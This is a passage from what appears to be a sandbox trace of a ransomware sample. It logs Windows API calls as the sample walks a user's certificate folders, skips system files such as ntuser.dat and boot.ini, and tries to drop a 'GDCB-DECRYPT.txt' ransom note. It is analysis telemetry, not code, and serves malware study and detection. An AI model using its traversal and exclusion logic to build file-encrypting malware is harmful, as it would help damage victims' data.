(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 74 [0135.635] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.635] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1 [0135.636] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1 [0135.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0135.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 74 [0135.636] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.636] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.636] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt" [0135.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0135.636] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.636] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.636] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.636] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.636] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\GDCB-DECRYPT.txt") returned 87 [0135.636] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.636] GetLastError () returned 0x50 [0135.636] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned 70 [0135.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0135.636] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.636] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.636] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0135.637] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.637] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0135.637] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94 [0135.637] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.637] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0135.637] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0135.637] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.637] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.637] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned 83 [0135.637] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0135.637] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c76c0 [0135.637] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.637] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.637] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.637] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.637] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.637] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.637] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.638] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt" [0135.638] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0135.638] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.638] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.638] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.638] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.638] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\GDCB-DECRYPT.txt") returned 100 [0135.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.638] GetLastError () returned 0x50 [0135.638] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.638] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned 83 [0135.638] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0135.638] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7780 [0135.639] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt" [0135.639] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.639] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0135.639] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0135.639] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0135.639] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.639] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.639] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.640] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0135.640] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0135.640] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.640] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.640] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.640] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.640] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.640] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.640] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned 75 [0135.640] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0135.640] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c76c0 [0135.640] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.640] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.640] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.640] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.640] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.640] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.641] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt" [0135.641] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0135.641] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.641] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.641] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.641] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.641] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\GDCB-DECRYPT.txt") returned 92 [0135.641] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.641] GetLastError () returned 0x50 [0135.641] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.641] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned 75 [0135.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0135.641] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c76c0 [0135.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt" [0135.641] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.641] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0135.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0135.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0135.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.642] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.642] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.642] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0135.642] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0135.642] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.642] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned 75 [0135.642] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0135.642] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c76c0 [0135.642] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.642] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.642] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.643] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.643] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.643] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.643] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.643] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt" [0135.643] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0135.643] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.643] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.643] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.643] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.643] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\GDCB-DECRYPT.txt") returned 92 [0135.643] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.643] GetLastError () returned 0x50 [0135.643] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.643] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned 75 [0135.643] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0135.643] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c76c0 [0135.643] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt" [0135.643] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.644] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") 